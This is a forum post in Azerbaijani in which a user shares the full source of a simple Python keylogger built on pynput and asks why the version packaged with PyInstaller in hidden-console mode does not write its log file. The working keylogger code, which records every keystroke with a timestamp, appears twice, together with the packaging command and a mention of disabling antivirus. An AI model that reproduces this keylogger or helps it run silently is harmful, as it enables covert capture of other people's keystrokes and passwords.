skybyte
İstifadəçi
Salam.Python ilə keylogger elədim.vs code run eleikde problemsiz işləyir.Exe çıxartıb pyinstaller ilə (pyinstaller --onefile --noconsole main.py) eledikdən sonra exe proqramını açdıqda Task managerde(Görev Yöneticisi) işləyir.Ancaq keylogger olaraq log.txt faylına məlumat vermir.Çox yolu yoxladım Antivirus bağlamaq vəya exe,ni dist faylınindan çıxarmaq və s.Çox üsulu elədim amma olmadı yenə.Anlayanlar üçün kodu aşağıya qoyuram.Sadə python keylogger kodudur.
from pynput import keyboard
from datetime import datetime
import os
script_dir = os.path.dirname(os.path.abspath(__file__))
log_path = os.path.join(script_dir, "log.txt")
def on_press(key):
try:
key_str = key.char
except AttributeError:
key_str = str(key)
time_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
with open(log_path, "a", encoding="utf-8") as log_file:
log_file.write(f"[{time_now}] {key_str}\n")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
.py olaraq istənilən proqramda işləyir amma .exe olaraq log.txt fayl yaratmır
from pynput import keyboard
from datetime import datetime
import os
script_dir = os.path.dirname(os.path.abspath(__file__))
log_path = os.path.join(script_dir, "log.txt")
def on_press(key):
try:
key_str = key.char
except AttributeError:
key_str = str(key)
time_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
with open(log_path, "a", encoding="utf-8") as log_file:
log_file.write(f"[{time_now}] {key_str}\n")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
.py olaraq istənilən proqramda işləyir amma .exe olaraq log.txt fayl yaratmır